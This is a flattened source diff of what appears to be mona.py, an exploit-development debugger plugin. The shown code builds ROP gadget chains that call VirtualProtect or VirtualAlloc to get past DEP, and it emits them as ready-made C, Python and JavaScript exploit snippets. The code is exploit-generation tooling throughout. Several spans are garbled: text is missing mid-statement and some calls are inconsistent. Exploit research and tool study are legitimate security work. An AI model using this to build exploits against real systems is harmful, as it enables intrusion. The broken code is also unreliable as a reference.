vplogtxtpy += " base_" + repr_mod + " = 0x%s\n" % toHex(modused[themod][0]) + vplogtxtc += " unsigned int base_" + repr_mod + " = 0x%s;\n" % toHex(modused[themod][0]) + calltxt += "base_" + repr_mod + "," + argtxt += "base_" + repr_mod + "," + argtxtpy += "base_" + repr_mod + "," + calltxt = calltxt.rstrip(",") + ")\n" + argtxt = argtxt.strip(",") + argtxtpy = argtxtpy.strip(",") + argtxtjs = argtxtpy.replace(".","") + + vplogtxt = vplogtxt.replace("create_rop_chain()","create_rop_chain(" + argtxt + ")") + vplogtxt += '\n ' + calltxt + vplogtxt += '\n\n\n' + # C + vplogtxt += "*** [ C ] ***\n\n" + vplogtxt += " #define CREATE_ROP_CHAIN(name, ...) \\\n" + vplogtxt += " int name##_length = create_rop_chain(NULL, ##__VA_ARGS__); \\\n" + vplogtxt += " unsigned int name[name##_length / sizeof(unsigned int)]; \\\n" + vplogtxt += " create_rop_chain(name, ##__VA_ARGS__);\n\n" + vplogtxt += " int create_rop_chain(unsigned int *buf, %s)\n" % ", ".join("unsigned int %s" % _ for _ in argtxt.split(",")) + vplogtxt += " {\n" + vplogtxt += " // rop chain generated with mona.py - www.corelan.be\n" + vplogtxt += " unsigned int rop_gadgets[] = {\n" + vplogtxt += thischaintxt.replace("#", "//") + vplogtxt += " };\n" + vplogtxt += " if(buf != NULL) {\n" + vplogtxt += " memcpy(buf, rop_gadgets, sizeof(rop_gadgets));\n" + vplogtxt += " };\n" + vplogtxt += " return sizeof(rop_gadgets);\n" + vplogtxt += " }\n\n" + vplogtxt += vplogtxtc + vplogtxt += " // use the 'rop_chain' variable after this call, it's just an unsigned int[]\n" + vplogtxt += " CREATE_ROP_CHAIN(rop_chain, %s);\n" % argtxtpy + vplogtxt += " // alternatively just allocate a large enough buffer and get the rop chain, i.e.:\n" + vplogtxt += " // unsigned int rop_chain[256];\n" + vplogtxt += " // int rop_chain_length = create_rop_chain(rop_chain, %s);\n\n" % argtxtpy + # Python + vplogtxt += "*** [ Python ] ***\n\n" + vplogtxt += " def create_rop_chain(%s):\n" % argtxt + vplogtxt += "\n # rop chain generated with mona.py - www.corelan.be\n" + vplogtxt += " rop_gadgets = [\n" + vplogtxt += thischaintxt + vplogtxt += " ]\n" + vplogtxt += " return ''.join(struct.pack(' 1: + # add everything + ic = 1 + while ic < len(comments): + comment += "," + comments[ic] + ic += 1 + tptrcnt += 1 + comment = comment.replace(" ","") + if tptrcnt < len(allptr): + vplogtxt += " \"" + toJavaScript(tptr) + "\" + // " + comments[0].replace(" ","").replace(" ","") + " : " + comment + "\n" + else: + vplogtxt += " \"" + toJavaScript(tptr) + "\"); // " + comments[0].replace(" ","").replace(" ","") + " : " + comment + "\n\n" + else: + vplogtxt += " function get_rop_chain(%s) {\n" % argtxtjs + vplogtxt += " var rop_gadgets = [\n" + vplogtxt += thischaintxt.replace(" #"," //").replace(".","") + vplogtxt += " ];\n" + vplogtxt += " return rop_gadgets;\n" + vplogtxt += " }\n\n" + vplogtxt += " function gadgets2uni(gadgets) {\n" + vplogtxt += " var uni = \"\";\n" + vplogtxt += " for(var i=0;i -1: + ofile = MnLog(shortmodname+"_virtualprotect.xml") + thisofile = ofile.reset(showheader = False) + ofile.write(ropdb,thisofile) + if ropdbchain.lower().find("virtualalloc") > -1: + ofile = MnLog(shortmodname+"_virtualalloc.xml") + thisofile = ofile.reset(showheader = False) + ofile.write(ropdb,thisofile) + ignoremodules = False + + #go to the next one + + vpfile = MnLog("rop_chains.txt") + thisvplog = vpfile.reset() + vpfile.write(vplogtxt,thisvplog) + + dbg.log("[+] ROP chains written to file %s" % thisvplog) + objprogressfile.write("Done creating rop chains",progressfile) + return vplogtxt + + +def getRegImpact(instructionstr): + rimpact = {} + instrlineparts = instructionstr.split(" # ") + changers = ["ADD","SUB","ADC","INC","DEC","XOR"] + for i in instrlineparts: + instrparts = i.split(" ") + dreg = "" + dval = 0 + if len(instrparts) > 1: + if instrparts[0] in changers: + dreg = instrparts[1] + if instrparts[0] == "INC": + dval = -1 + elif instrparts[0] == "DEC": + dval = 1 + else: + vparts = i.split(",") + if len(vparts) > 1: + vpart = vparts[1] + dval = vpart + + if dreg != "": + if not dreg in rimpact: + rimpact[dreg] = dval + else: + rimpact[dreg] = rimpact[dreg] + dval + + return rimpact + + +def getPickupGadget(targetreg,targetval,freetext,suggestions,interestinggadgets,criteria,modulecriteria,routine=""): + """ + Will attempt to find a gadget that will pickup a pointer to pointer into a register + + Arguments : the destination register, the value to pick up, some free text about the value, + suggestions and interestinggadgets dictionaries + + Returns : + an array with the gadgets + """ + + shortest_pickup = 0 + thisshortest_pickup = 0 + shortest_move = 0 + popptr = 0 + + pickupfrom = "" + pickupreg = "" + pickupfound = False + + pickupchain = [] + movechain = [] + movechain1 = [] + movechain2 = [] + + disablelist = [] + + allregs = ["eax","ebx","ecx","edx","ebp","esi","edi"] + + for pickuptypes in suggestions: + if pickuptypes.find("pickup pointer into " + targetreg) > -1: + thisshortest_pickup = getShortestGadget(suggestions[pickuptypes]) + if shortest_pickup == 0 or (thisshortest_pickup != 0 and thisshortest_pickup < shortest_pickup): + shortest_pickup = thisshortest_pickup + smallparts = pickuptypes.split(" ") + pickupreg = smallparts[len(smallparts)-1].lower() + parts2 = interestinggadgets[shortest_pickup].split("#") + #parts2[0] is empty + smallparts = parts2[1].split("[") + smallparts2 = smallparts[1].split("]") + pickupfrom = smallparts2[0].lower() + pickupfound = True + if (pickupfrom.find("+") > -1): + pickupfields = pickupfrom.split("+") + if pickupfields[1].lower in allregs: + pickupfound = False + shortest_pickup = 0 + if (pickupfrom.find("-") > -1): + pickupfields = pickupfrom.split("-") + if pickupfields[1].lower in allregs: + pickupfound = False + shortest_pickup = 0 + + if shortest_pickup == 0: + # no direct pickup, look for indirect pickup, but prefer EAX first + for movetypes in suggestions: + if movetypes.find("move eax") == 0 and movetypes.endswith("-> " + targetreg): + typeparts = movetypes.split(" ") + movefrom = "eax" + shortest_move = getShortestGadget(suggestions[movetypes]) + movechain = getGadgetMoveRegToReg(movefrom,targetreg,suggestions,interestinggadgets) + for pickuptypes in suggestions: + if pickuptypes.find("pickup pointer into " + movefrom) > -1: + thisshortest_pickup = getShortestGadget(suggestions[pickuptypes]) + if shortest_pickup == 0 or (thisshortest_pickup != 0 and thisshortest_pickup < shortest_pickup): + shortest_pickup = thisshortest_pickup + smallparts = pickuptypes.split(" ") + pickupreg = smallparts[len(smallparts)-1].lower() + parts2 = interestinggadgets[shortest_pickup].split("#") + #parts2[0] is empty + smallparts = parts2[1].split("[") + smallparts2 = smallparts[1].split("]") + pickupfrom = smallparts2[0].lower() + pickupfound = True + if (pickupfrom.find("+") > -1): + pickupfields = pickupfrom.split("+") + if pickupfields[1].lower in allregs: + pickupfound = False + shortest_pickup = 0 + if (pickupfrom.find("-") > -1): + pickupfields = pickupfrom.split("-") + if pickupfields[1].lower in allregs: + pickupfound = False + shortest_pickup = 0 + if pickupfound: + break + + if shortest_pickup == 0: + # no direct pickup, look for indirect pickup + for movetypes in suggestions: + if movetypes.find("move") == 0 and movetypes.endswith("-> " + targetreg): + typeparts = movetypes.split(" ") + movefrom = typeparts[1] + if movefrom != "esp": + shortest_move = getShortestGadget(suggestions[movetypes]) + movechain = getGadgetMoveRegToReg(movefrom,targetreg,suggestions,interestinggadgets) + for pickuptypes in suggestions: + if pickuptypes.find("pickup pointer into " + movefrom) > -1: + thisshortest_pickup = getShortestGadget(suggestions[pickuptypes]) + if shortest_pickup == 0 or (thisshortest_pickup != 0 and thisshortest_pickup < shortest_pickup): + shortest_pickup = thisshortest_pickup + smallparts = pickuptypes.split(" ") + pickupreg = smallparts[len(smallparts)-1].lower() + parts2 = interestinggadgets[shortest_pickup].split("#") + #parts2[0] is empty + smallparts = parts2[1].split("[") + smallparts2 = smallparts[1].split("]") + pickupfrom = smallparts2[0].lower() + pickupfound = True + if (pickupfrom.find("+") > -1): + pickupfields = pickupfrom.split("+") + if pickupfields[1].lower in allregs: + pickupfound = False + shortest_pickup = 0 + if (pickupfrom.find("-") > -1): + pickupfields = pickupfrom.split("-") + if pickupfields[1].lower in allregs: + pickupfound = False + shortest_pickup = 0 + if pickupfound: + break + + if shortest_pickup == 0: + movechain = [] + #double move + for movetype1 in suggestions: + if movetype1.find("move") == 0 and movetype1.endswith("-> " + targetreg): + interimreg = movetype1.split(" ")[1] + if interimreg != "esp": + for movetype2 in suggestions: + if movetype2.find("move") == 0 and movetype2.endswith("-> " + interimreg): + topickupreg= movetype2.split(" ")[1] + if topickupreg != "esp": + move1 = getShortestGadget(suggestions[movetype1]) + move2 = getShortestGadget(suggestions[movetype2]) + for pickuptypes in suggestions: + if pickuptypes.find("pickup pointer into " + topickupreg) > -1: + thisshortest_pickup = getShortestGadget(suggestions[pickuptypes]) + if shortest_pickup == 0 or (thisshortest_pickup != 0 and thisshortest_pickup < shortest_pickup): + shortest_pickup = thisshortest_pickup + smallparts = pickuptypes.split(" ") + pickupreg = smallparts[len(smallparts)-1].lower() + parts2 = interestinggadgets[shortest_pickup].split("#") + #parts2[0] is empty + smallparts = parts2[1].split("[") + smallparts2 = smallparts[1].split("]") + pickupfrom = smallparts2[0].lower() + pickupfound = True + if (pickupfrom.find("+") > -1): + pickupfields = pickupfrom.split("+") + if pickupfields[1].lower in allregs: + pickupfound = False + shortest_pickup = 0 + if (pickupfrom.find("-") > -1): + pickupfields = pickupfrom.split("-") + if pickupfields[1].lower in allregs: + pickupfound = False + shortest_pickup = 0 + if pickupfound: + movechain = [] + movechain1 = getGadgetMoveRegToReg(interimreg,targetreg,suggestions,interestinggadgets) + movechain2 = getGadgetMoveRegToReg(topickupreg,interimreg,suggestions,interestinggadgets) + break + + if shortest_pickup > 0: + # put a value in a register + if targetval > 0: + poproutine = putValueInReg(pickupfrom,targetval,freetext,suggestions,interestinggadgets,criteria) + for popsteps in poproutine: + pickupchain.append([popsteps[0],popsteps[1],popsteps[2]]) + else: + pickupchain.append([0,"[-] Unable to find API pointer -> " + pickupfrom,0]) + # pickup + junksize = getJunk(interestinggadgets[shortest_pickup]) + pickupchain.append([shortest_pickup,"",junksize]) + # move if needed + if len(movechain) > 0: + for movesteps in movechain: + pickupchain.append([movesteps[0],movesteps[1],movesteps[2]]) + + if len(movechain2) > 0: + for movesteps in movechain2: + pickupchain.append([movesteps[0],movesteps[1],movesteps[2]]) + + if len(movechain1) > 0: + for movesteps in movechain1: + pickupchain.append([movesteps[0],movesteps[1],movesteps[2]]) + elif (routine.lower() == "virtualalloc" or routine.lower() == "virtualprotect"): + # use alternative technique, in case of virtualprotect/virtualalloc routine + if "pop " + targetreg in suggestions and "pop eax" in suggestions: + # find a jmp [eax] + pattern = "jmp [eax]" + base = 0 + top = TOP_USERLAND + type = "instr" + al = criteria["accesslevel"] + criteria["accesslevel"] = "X" + global ptr_to_get + global ptr_counter + ptr_counter = 0 + ptr_to_get = 5 + theptr = 0 + global silent + oldsilent = silent + silent=True + allpointers = findPattern(modulecriteria,criteria,pattern,type,base,top) + silent = oldsilent + criteria["accesslevel"] = al + thismodname = "" + if len(allpointers) > 0: + for ptrtype in allpointers: + for ptrs in allpointers[ptrtype]: + theptr = ptrs + thismodname = MnPointer(theptr).belongsTo() + break + if theptr > 0: + popptrtar = getShortestGadget(suggestions["pop "+targetreg]) + popptreax = getShortestGadget(suggestions["pop eax"]) + junksize = getJunk(interestinggadgets[popptrtar])-4 + pickupchain.append([popptrtar,"",junksize]) + pickupchain.append([theptr,"JMP [EAX] [" + thismodname + "]",0]) + junksize = getJunk(interestinggadgets[popptreax])-4 + pickupchain.append([popptreax,"",junksize]) + pickupchain.append([targetval,freetext,0]) + disablelist.append("eax") + pickupfound = True + + if not pickupfound: + pickupchain.append([0,"[-] Unable to find gadgets to pickup the desired API pointer into " + targetreg,0]) + pickupchain.append([targetval,freetext,0]) + + return pickupchain,disablelist + +def getRopFuncPtr(apiname,modulecriteria,criteria,mode = "iat"): + """ + Will get a pointer to pointer to the given API name in the IAT of the selected modules + + Arguments : + apiname : the name of the function + modulecriteria & criteria : module/pointer criteria + + Returns : + a pointer (integer value, 0 if no pointer was found) + text (with optional info) + """ + global silent + oldsilent = silent + silent = True + global ptr_to_get + ptr_to_get = -1 + rfuncsearch = apiname.lower() + + arrfuncsearch = [rfuncsearch] + if rfuncsearch == "virtualloc": + arrfuncsearch.append("virtuallocstub") + + ropfuncptr = 0 + ropfuncoffsets = {} + ropfunctext = "ptr to &" + apiname + "()" + + if mode == "iat": + if rfuncsearch != "": + ropfuncs,ropfuncoffsets = findROPFUNC(modulecriteria,criteria, [rfuncsearch]) + else: + ropfuncs,ropfuncoffsets = findROPFUNC(modulecriteria) + silent = oldsilent + #first look for good one + #dbg.log("Found %d pointers" % len(ropfuncs)) + for ropfunctypes in ropfuncs: + #dbg.log("%s %s" % (ropfunctypes, rfuncsearch)) + if ropfunctypes.lower().find(rfuncsearch) > -1 and ropfunctypes.lower().find("rebased") == -1: + ropfuncptr = ropfuncs[ropfunctypes][0] + break + if ropfuncptr == 0: + for ropfunctypes in ropfuncs: + if ropfunctypes.lower().find(rfuncsearch) > -1: + ropfuncptr = ropfuncs[ropfunctypes][0] + break + #dbg.log("Selected pointer: 0x%08x" % ropfuncptr) + #still haven't found ? clear out modulecriteria, include ASLR/rebase modules (but not OS modules) + if ropfuncptr == 0: + oldsilent = silent + silent = True + limitedmodulecriteria = {} + # search in anything except known OS modules - bad idea anyway + limitedmodulecriteria["os"] = False + ropfuncs2,ropfuncoffsets2 = findROPFUNC(limitedmodulecriteria,criteria) + silent = oldsilent + for ropfunctypes in ropfuncs2: + if ropfunctypes.lower().find(rfuncsearch) > -1 and ropfunctypes.lower().find("rebased") == -1: + ropfuncptr = ropfuncs2[ropfunctypes][0] + ropfunctext += " (skipped module criteria, check if pointer is reliable !)" + break + + if ropfuncptr == 0: + ropfunctext = "[-] Unable to find ptr to &" + apiname+"()" + else: + ropfunctext += " [IAT " + MnPointer(ropfuncptr).belongsTo() + "]" + else: + # read EAT + modulestosearch = getModulesToQuery(modulecriteria) + for mod in modulestosearch: + tmod = MnModule(mod) + funcs = tmod.getEAT() + for func in funcs: + funcname = funcs[func].lower() + if funcname.find(rfuncsearch) > -1: + ropfuncptr = func + break + if ropfuncptr == 0: + ropfunctext = "[-] Unable to find required API pointer" + return ropfuncptr,ropfunctext + + +def putValueInReg(reg,value,freetext,suggestions,interestinggadgets,criteria): + + putchain = [] + allownull = True + popptr = 0 + gadgetfound = False + + offset = 0 + if "+" in reg: + try: + rval = reg.split("+")[1].strip("h") + offset = int(rval,16) * (-1) + reg = reg.split("+")[0] + except: + reg = reg.split("+")[0] + offset = 0 + elif "-" in reg: + try: + rval = reg.split("-")[1].strip("h") + offset = int(rval,16) + reg = reg.split("-")[0] + except: + reg = reg.split("-")[0] + offset = 0 + + if value != 0: + value = value + offset + + if value < 0: + value = 0xffffffff + value + 1 + + negvalue = 4294967296 - value + + ptrval = MnPointer(value) + + if meetsCriteria(ptrval,criteria): + # easy way - just pop it into a register + for poptype in suggestions: + if poptype.find("pop "+reg) == 0: + popptr = getShortestGadget(suggestions[poptype]) + junksize = getJunk(interestinggadgets[popptr])-4 + putchain.append([popptr,"",junksize]) + putchain.append([value,freetext,0]) + gadgetfound = True + break + if not gadgetfound: + # move + for movetype in suggestions: + if movetype.startswith("move") and movetype.endswith("-> " + reg): + # get "from" reg + fromreg = movetype.split(" ")[1].lower() + for poptype in suggestions: + if poptype.find("pop "+fromreg) == 0: + popptr = getShortestGadget(suggestions[poptype]) + junksize = getJunk(interestinggadgets[popptr])-4 + putchain.append([popptr,"",junksize]) + putchain.append([value,freetext,0]) + moveptr = getShortestGadget(suggestions[movetype]) + movechain = getGadgetMoveRegToReg(fromreg,reg,suggestions,interestinggadgets) + for movesteps in movechain: + putchain.append([movesteps[0],movesteps[1],movesteps[2]]) + gadgetfound = True + break + if gadgetfound: + break + if not gadgetfound or not meetsCriteria(ptrval,criteria): + if meetsCriteria(MnPointer(negvalue),criteria): + if "pop " + reg in suggestions and "neg "+reg in suggestions: + popptr = getShortestGadget(suggestions["pop "+reg]) + junksize = getJunk(interestinggadgets[popptr])-4 + putchain.append([popptr,"",junksize]) + putchain.append([negvalue,"Value to negate, will become 0x" + toHex(value),0]) + negptr = getShortestGadget(suggestions["neg "+reg]) + junksize = getJunk(interestinggadgets[negptr]) + putchain.append([negptr,"",junksize]) + gadgetfound = True + if not gadgetfound: + for movetype in suggestions: + if movetype.startswith("move") and movetype.endswith("-> " + reg): + fromreg = movetype.split(" ")[1] + if "pop " + fromreg in suggestions and "neg " + fromreg in suggestions: + popptr = getShortestGadget(suggestions["pop "+fromreg]) + junksize = getJunk(interestinggadgets[popptr])-4 + putchain.append([popptr,"",junksize]) + putchain.append([negvalue,"Value to negate, will become 0x" + toHex(value)]) + negptr = getShortestGadget(suggestions["neg "+fromreg]) + junksize = getJunk(interestinggadgets[negptr]) + putchain.append([negptr,"",junksize]) + movechain = getGadgetMoveRegToReg(fromreg,reg,suggestions,interestinggadgets) + for movesteps in movechain: + putchain.append([movesteps[0],movesteps[1],movesteps[2]]) + gadgetfound = True + break + if not gadgetfound: + # can we do this using add/sub via another register ? + for movetype in suggestions: + if movetype.startswith("move") and movetype.endswith("-> " + reg): + fromreg = movetype.split(" ")[1] + if "pop "+ fromreg in suggestions and "add value to " + fromreg in suggestions: + # check each value & see if delta meets pointer criteria + #dbg.log("move %s into %s" % (fromreg,reg)) + for addinstr in suggestions["add value to " + fromreg]: + if not gadgetfound: + theinstr = interestinggadgets[addinstr][3:len(interestinggadgets[addinstr])] + #dbg.log("%s" % theinstr) + instrparts = theinstr.split("#") + totalvalue = 0 + #gadget might contain multiple add/sub instructions + for indivinstr in instrparts: + instrvalueparts = indivinstr.split(',') + if len(instrvalueparts) > 1: + # only look at real values + if isHexValue(instrvalueparts[1].rstrip()): + thisval = hexStrToInt(instrvalueparts[1]) + if instrvalueparts[0].lstrip().startswith("ADD"): + totalvalue += thisval + if instrvalueparts[0].lstrip().startswith("SUB"): + totalvalue -= thisval + # subtract totalvalue from target value + if totalvalue > 0: + deltaval = value - totalvalue + if deltaval < 0: + deltaval = 0xffffffff + deltaval + 1 + deltavalhex = toHex(deltaval) + if meetsCriteria(MnPointer(deltaval),criteria): + #dbg.log(" Instruction : %s, Delta : %s, To pop in reg : %s" % (theinstr,toHex(totalvalue),deltavalhex),highlight=1) + popptr = getShortestGadget(suggestions["pop "+fromreg]) + junksize = getJunk(interestinggadgets[popptr])-4 + putchain.append([popptr,"",junksize]) + putchain.append([deltaval,"put delta into " + fromreg + " (-> put 0x" + toHex(value) + " into " + reg + ")",0]) + junksize = getJunk(interestinggadgets[addinstr]) + putchain.append([addinstr,"",junksize]) + movptr = getShortestGadget(suggestions["move "+fromreg + " -> " + reg]) + junksize = getJunk(interestinggadgets[movptr]) + putchain.append([movptr,"",junksize]) + gadgetfound = True + + if not gadgetfound: + if "pop " + reg in suggestions and "neg "+reg in suggestions and "dec "+reg in suggestions: + toinc = 0 + while not meetsCriteria(MnPointer(negvalue-toinc),criteria): + toinc += 1 + if toinc > 250: + break + if toinc <= 250: + popptr = getShortestGadget(suggestions["pop "+reg]) + junksize = getJunk(interestinggadgets[popptr])-4 + putchain.append([popptr,"",junksize]) + putchain.append([negvalue-toinc,"Value to negate, destination value : 0x" + toHex(value),0]) + negptr = getShortestGadget(suggestions["neg "+reg]) + cnt = 0 + decptr = getShortestGadget(suggestions["dec "+reg]) + junksize = getJunk(interestinggadgets[negptr]) + putchain.append([negptr,"",junksize]) + junksize = getJunk(interestinggadgets[decptr]) + while cnt < toinc: + putchain.append([decptr,"",junksize]) + cnt += 1 + gadgetfound = True + + if not gadgetfound: + for movetype in suggestions: + if movetype.startswith("move") and movetype.endswith("-> " + reg): + fromreg = movetype.split(" ")[1] + if "pop " + fromreg in suggestions and "neg " + fromreg in suggestions and "dec "+fromreg in suggestions: + toinc = 0 + while not meetsCriteria(MnPointer(negvalue-toinc),criteria): + toinc += 1 + if toinc > 250: + break + if toinc <= 250: + popptr = getShortestGadget(suggestions["pop "+fromreg]) + junksize = getJunk(interestinggadgets[popptr])-4 + putchain.append([popptr,"",junksize]) + putchain.append([negvalue-toinc,"Value to negate, destination value : 0x" + toHex(value),0]) + negptr = getShortestGadget(suggestions["neg "+fromreg]) + junksize = getJunk(interestinggadgets[negptr]) + cnt = 0 + decptr = getShortestGadget(suggestions["dec "+fromreg]) + putchain.append([negptr,"",junksize]) + junksize = getJunk(interestinggadgets[decptr]) + while cnt < toinc: + putchain.append([decptr,"",junksize]) + cnt += 1 + movechain = getGadgetMoveRegToReg(fromreg,reg,suggestions,interestinggadgets) + for movesteps in movechain: + putchain.append([movesteps[0],movesteps[1],movesteps[2]]) + gadgetfound = True + break + + if not gadgetfound and "pop " + reg in suggestions and "neg "+reg in suggestions and "inc "+reg in suggestions: + toinc = 0 + while not meetsCriteria(MnPointer(negvalue-toinc),criteria): + toinc -= 1 + if toinc < -250: + break + if toinc > -250: + popptr = getShortestGadget(suggestions["pop "+reg]) + junksize = getJunk(interestinggadgets[popptr])-4 + putchain.append([popptr,"",junksize]) + putchain.append([negvalue-toinc,"Value to negate, destination value : 0x" + toHex(value),0]) + negptr = getShortestGadget(suggestions["neg "+reg]) + junksize = getJunk(interestinggadgets[negptr]) + putchain.append([negptr,"",junksize]) + incptr = getShortestGadget(suggestions["inc "+reg]) + junksize = getJunk(interestinggadgets[incptr]) + while toinc < 0: + putchain.append([incptr,"",junksize]) + toinc += 1 + gadgetfound = True + + if not gadgetfound: + for movetype in suggestions: + if movetype.startswith("move") and movetype.endswith("-> " + reg): + fromreg = movetype.split(" ")[1] + if "pop " + fromreg in suggestions and "neg " + fromreg in suggestions and "inc "+fromreg in suggestions: + toinc = 0 + while not meetsCriteria(MnPointer(negvalue-toinc),criteria): + toinc -= 1 + if toinc < -250: + break + if toinc > -250: + popptr = getShortestGadget(suggestions["pop "+fromreg]) + junksize = getJunk(interestinggadgets[popptr])-4 + putchain.append([popptr,""]) + putchain.append([negvalue-toinc,"Value to negate, destination value : 0x" + toHex(value)]) + negptr = getShortestGadget(suggestions["neg "+fromreg]) + junksize = getJunk(interestinggadgets[negptr]) + putchain.append([negptr,"",junksize]) + decptr = getShortestGadget(suggestions["inc "+fromreg]) + junksize = getJunk(interestinggadgets[incptr]) + while toinc < 0 : + putchain.append([incptr,"",junksize]) + toinc += 1 + movechain = getGadgetMoveRegToReg(fromreg,reg,suggestions,interestinggadgets) + for movesteps in movechain: + putchain.append([movesteps[0],movesteps[1],movesteps[2]]) + gadgetfound = True + break + + if not gadgetfound and "add value to " + reg in suggestions and "pop " + reg in suggestions: + addtypes = ["ADD","ADC","XOR", "SUB"] + for addtype in addtypes: + for ptrs in suggestions["add value to " + reg]: + thisinstr = interestinggadgets[ptrs] + thisparts = thisinstr.split("#") + addinstr = thisparts[1].lstrip().split(",") + if thisparts[1].startswith(addtype): + if addtype == "ADD" or addtype == "ADC": + addvalue = hexStrToInt(addinstr[1]) + delta = value - addvalue + if delta < 0: + delta = 0xffffffff + delta + 1 + if addtype == "XOR": + delta = hexStrToInt(addinstr[1]) ^ value + if addtype == "SUB": + addvalue = hexStrToInt(addinstr[1]) + delta = value + addvalue + if delta < 0: + delta = 0xffffffff + delta + 1 + if meetsCriteria(MnPointer(delta),criteria): + popptr = getShortestGadget(suggestions["pop "+reg]) + junksize = getJunk(interestinggadgets[popptr])-4 + putchain.append([popptr,"",junksize]) + putchain.append([delta,"Diff to desired value",0]) + junksize = getJunk(interestinggadgets[ptrs]) + putchain.append([ptrs,"",junksize]) + gadgetfound = True + break + + if not gadgetfound: + for movetype in suggestions: + if movetype.startswith("move") and movetype.endswith("-> " + reg): + fromreg = movetype.split(" ")[1] + if "add value to " + fromreg in suggestions and "pop " + fromreg in suggestions: + addtypes = ["ADD","ADC","XOR","SUB"] + for addtype in addtypes: + for ptrs in suggestions["add value to " + fromreg]: + thisinstr = interestinggadgets[ptrs] + thisparts = thisinstr.split("#") + addinstr = thisparts[1].lstrip().split(",") + if thisparts[1].startswith(addtype): + if addtype == "ADD" or addtype == "ADC": + addvalue = hexStrToInt(addinstr[1]) + delta = value - addvalue + if delta < 0: + delta = 0xffffffff + delta + 1 + if addtype == "XOR": + delta = hexStrToInt(addinstr[1]) ^ value + if addtype == "SUB": + addvalue = hexStrToInt(addinstr[1]) + delta = value + addvalue + if delta < 0: + delta = 0xffffffff + delta + 1 + #dbg.log("0x%s : %s, delta : 0x%s" % (toHex(ptrs),thisinstr,toHex(delta))) + if meetsCriteria(MnPointer(delta),criteria): + popptr = getShortestGadget(suggestions["pop "+fromreg]) + junksize = getJunk(interestinggadgets[popptr])-4 + putchain.append([popptr,"",junksize]) + putchain.append([delta,"Diff to desired value",0]) + junksize = getJunk(interestinggadgets[ptrs]) + putchain.append([ptrs,"",junksize]) + movechain = getGadgetMoveRegToReg(fromreg,reg,suggestions,interestinggadgets) + for movesteps in movechain: + putchain.append([movesteps[0],movesteps[1],movesteps[2]]) + gadgetfound = True + break + if not gadgetfound and "inc " + reg in suggestions and value <= 64: + cnt = 0 + # can we clear the reg ? + clearsteps = clearReg(reg,suggestions,interestinggadgets) + for cstep in clearsteps: + putchain.append([cstep[0],cstep[1],cstep[2]]) + # inc + incptr = getShortestGadget(suggestions["inc "+reg]) + junksize = getJunk(interestinggadgets[incptr]) + while cnt < value: + putchain.append([incptr,"",junksize]) + cnt += 1 + gadgetfound = True + if not gadgetfound: + putchain.append([0,"[-] Unable to find gadget to put " + toHex(value) + " into " + reg,0]) + return putchain + +def getGadgetMoveRegToReg(fromreg,toreg,suggestions,interestinggadgets): + movechain = [] + movetype = "move " + fromreg + " -> " + toreg + if movetype in suggestions: + moveptr = getShortestGadget(suggestions[movetype]) + moveinstr = interestinggadgets[moveptr].lstrip() + if moveinstr.startswith("# XOR") or moveinstr.startswith("# OR") or moveinstr.startswith("# AD"): + clearchain = clearReg(toreg,suggestions,interestinggadgets) + for cc in clearchain: + movechain.append([cc[0],cc[1],cc[2]]) + junksize = getJunk(interestinggadgets[moveptr]) + movechain.append([moveptr,"",junksize]) + else: + movetype1 = "xor " + fromreg + " -> " + toreg + movetype2 = "xor " + toreg + " -> " + fromreg + if movetype1 in suggestions and movetype2 in suggestions: + moveptr1 = getShortestGadget(suggestions[movetype1]) + junksize = getJunk(interestinggadgets[moveptr1]) + movechain.append([moveptr1,"",junksize]) + moveptr2 = getShortestGadget(suggestions[movetype2]) + junksize = getJunk(interestinggadgets[moveptr2]) + movechain.append([moveptr2,"",junksize]) + return movechain + +def clearReg(reg,suggestions,interestinggadgets): + clearchain = [] + clearfound = False + if not "clear " + reg in suggestions: + if not "inc " + reg in suggestions or not "pop " + reg in suggestions: + # maybe it will work using a move from another register + for inctype in suggestions: + if inctype.startswith("inc"): + increg = inctype.split(" ")[1] + iptr = getShortestGadget(suggestions["inc " + increg]) + for movetype in suggestions: + if movetype == "move " + increg + " -> " + reg and "pop " + increg in suggestions: + moveptr = getShortestGadget(suggestions[movetype]) + moveinstr = interestinggadgets[moveptr].lstrip() + if not(moveinstr.startswith("# XOR") or moveinstr.startswith("# OR") or moveinstr.startswith("# AD")): + #kewl + pptr = getShortestGadget(suggestions["pop " + increg]) + junksize = getJunk(interestinggadgets[pptr])-4 + clearchain.append([pptr,"",junksize]) + clearchain.append([0xffffffff," ",0]) + junksize = getJunk(interestinggadgets[iptr]) + clearchain.append([iptr,"",junksize]) + junksize = getJunk(interestinggadgets[moveptr]) + clearchain.append([moveptr,"",junksize]) + clearfound = True + break + if not clearfound: + clearchain.append([0,"[-] Unable to find a gadget to clear " + reg,0]) + else: + #pop FFFFFFFF into reg, then do inc reg => 0 + pptr = getShortestGadget(suggestions["pop " + reg]) + junksize = getJunk(interestinggadgets[pptr])-4 + clearchain.append([pptr,"",junksize]) + clearchain.append([0xffffffff," ",0]) + iptr = getShortestGadget(suggestions["inc " + reg]) + junksize = getJunk(interestinggadgets[iptr]) + clearchain.append([iptr,"",junksize]) + else: + shortest_clear = getShortestGadget(suggestions["clear " + reg]) + junksize = getJunk(interestinggadgets[shortest_clear]) + clearchain.append([shortest_clear,"",junksize]) + return clearchain + +def getGadgetValueToReg(reg,value,suggestions,interestinggadgets): + negfound = False + blocktxt = "" + blocktxt2 = "" + tonegate = 4294967296 - value + nregs = ["eax","ebx","ecx","edx","edi"] + junksize = 0 + junk2size = 0 + negateline = " 0x" + toHex(tonegate)+", # value to negate, target value : 0x" + toHex(value) + ", target reg : " + reg +"\n" + if "neg " + reg in suggestions: + negfound = True + negptr = getShortestGadget(suggestions["neg " + reg]) + if "pop "+reg in suggestions: + pptr = getShortestGadget(suggestions["pop " + reg]) + blocktxt2 += " 0x" + toHex(pptr)+", "+interestinggadgets[pptr].strip()+" ("+MnPointer(pptr).belongsTo()+")\n" + blocktxt2 += negateline + junk2size = getJunk(interestinggadgets[pptr])-4 + else: + blocktxt2 += " 0x????????,# find a way to pop the next value into "+thisreg+"\n" + blocktxt2 += negateline + blocktxt2 += " 0x" + toHex(negptr)+", "+interestinggadgets[negptr].strip()+" ("+MnPointer(negptr).belongsTo()+")\n" + junksize = getJunk(interestinggadgets[negptr])-4 + + if not negfound: + nregs.remove(reg) + for thisreg in nregs: + if "neg "+ thisreg in suggestions and not negfound: + blocktxt2 = "" + junk2size = 0 + negfound = True + #get pop first + if "pop "+thisreg in suggestions: + pptr = getShortestGadget(suggestions["pop " + thisreg]) + blocktxt2 += " 0x" + toHex(pptr)+", "+interestinggadgets[pptr].strip()+" ("+MnPointer(pptr).belongsTo()+")\n" + blocktxt2 += negateline + junk2size 